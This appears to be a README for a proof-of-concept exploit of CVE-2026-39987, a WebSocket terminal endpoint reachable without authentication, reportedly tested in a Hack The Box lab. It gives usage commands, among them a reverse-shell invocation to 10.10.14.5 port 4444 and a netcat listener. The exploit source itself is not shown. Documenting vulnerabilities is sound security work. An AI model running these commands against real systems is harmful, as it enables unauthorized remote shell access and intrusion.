mfahdk/cve-2026-39987_rce_pocPython proof-of-concept for CVE-2026-39987, exploiting an unauthenticated WebSocket terminal endpoint to achieve remote command execution and reverse shell access.
Proof of Concept for CVE-2026-39987, demonstrating remote command execution through the vulnerable WebSocket terminal endpoint.
Disclaimer: This PoC is intended for authorized security testing and educational use only. Use it only against systems you own or have explicit permission to test.
The vulnerability allows an unauthenticated user to interact with the application's WebSocket terminal endpoint and execute commands remotely.
The PoC connects to:
wss://<target>/terminal/ws
and demonstrates command execution through the WebSocket connection.
The target used while developing/testing this PoC was an authorized Hack The Box lab environment.
websocket-clientInstall the required library:
pip3 install websocket-client
python3 test.py <domain>
Example:
python3 test.py somesite.com
The PoC establishes the WebSocket connection and executes a test command.
The PoC also supports a reverse-shell option:
python3 exploit.py <domain> --reverse-shell <IP> --port <PORT>
Example:
python3 exploit.py somesite.com --reverse-shell 10.10.14.5 --port 4444
Start the listener before executing the PoC:
nc -lvnp 4444
The application exposes a WebSocket terminal endpoint without requiring authentication.
The PoC:
The initial ws.recv() is important because the server sends the shell prompt immediately after establishing the connection.